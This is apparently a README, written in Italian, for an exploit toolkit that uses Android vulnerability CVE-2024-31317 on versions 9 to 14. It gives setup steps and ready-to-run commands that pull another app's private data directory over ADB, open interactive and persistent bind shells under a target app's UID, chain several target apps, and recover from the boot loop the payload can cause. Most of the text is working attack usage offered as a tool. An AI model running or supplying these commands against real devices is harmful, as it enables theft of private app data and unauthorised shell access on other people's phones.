Zygote Toolkit - CVE-2024-31317

Questo è un toolkit che utilizza CVE-2024-31317 per estrarre dati privati delle app tramite ADB o per avviare una shell con l'UID di un'app. Questa vulnerabilità riguarda le versioni di Android dalla 9 alla 14 con livello di patch di sicurezza 2024-06-01 o inferiore. Di seguito è disponibile una matrice di supporto dei dispositivi testati.

Prerequisiti

Debian/Ubuntu (pacchetti di sistema)

sudo apt update
sudo apt install adb openjdk-17-jdk-headless android-sdk android-sdk-build-tools
export ANDROID_HOME=/usr/lib/android-sdk
export PATH=$PATH:$ANDROID_HOME/build-tools/34.0.0:$ANDROID_HOME/platform-tools

Aggiungi le righe export a ~/.bashrc (o equivalente) per la persistenza.

Verifica

./setup.sh

Avvio rapido

# Build and install the carrier APK (auto-builds from source)
python3 cve_2024_31317.py com.google.android.youtube --setup --rebuild -y

# Extract an app's data directory
python3 cve_2024_31317.py -d DEVICE_SERIAL -E -o app_data.tar -y com.example.app

L'exploit compila tutto da Hijack.java e AndroidManifest.xml al primo avvio.

Utilizzo

python3 cve_2024_31317.py [flags] [package]

Modalità

Opzioni

Esempi

# Extraction
python3 cve_2024_31317.py -d DEVICE -E -o youtube.tar -y com.google.android.youtube

# Check if device is vulnerable
python3 cve_2024_31317.py -d DEVICE --check-vuln

# Interactive bind shell
python3 cve_2024_31317.py -d DEVICE -i -y com.google.android.youtube

# Persistent shell on port 7777
python3 cve_2024_31317.py -d DEVICE -S 7777 -y com.google.android.youtube

# Multi-app chain
python3 cve_2024_31317.py -d DEVICE -E -y --chain-targets "app1,app2,app3"

# Recovery only (fix boot loop)
python3 cve_2024_31317.py -d DEVICE --recover

Compilazione dal sorgente

Tutto viene compilato dal sorgente in fase di esecuzione. La pipeline di compilazione usa javac (JDK 17+), d8, aapt, zipalign e apksigner dell'Android SDK.

• x86_64 → arm64: gli strumenti vengono eseguiti nativamente; l'output DEX è indipendente dall'architettura
• ARM64 → arm64: tutto viene eseguito nativamente (Adoptium fornisce build JDK per ARM64)

Passcode

Se il dispositivo ha un passcode, parte in modalità BFU (prima del primo sblocco). L'exploit interroga sys.user.0.ce_available per un massimo di 5 minuti finché non sblocchi il dispositivo. Si consiglia di rimuovere il passcode per la durata dell'exploit.

Dispositivi testati

† Specifico di Samsung One UI: l'iniezione ZNJECT riesce e l'estrazione -E funziona, ma la shell bind ServerSocket di toybox nc non si apre mai. Sono necessarie ulteriori ricerche per trovare la causa principale del problema.

Recupero

Il payload rimasto in hidden_api_blacklist_exemptions può causare un boot loop al riavvio successivo. Esegui --recover per ripristinare:

python3 cve_2024_31317.py -d DEVICE --recover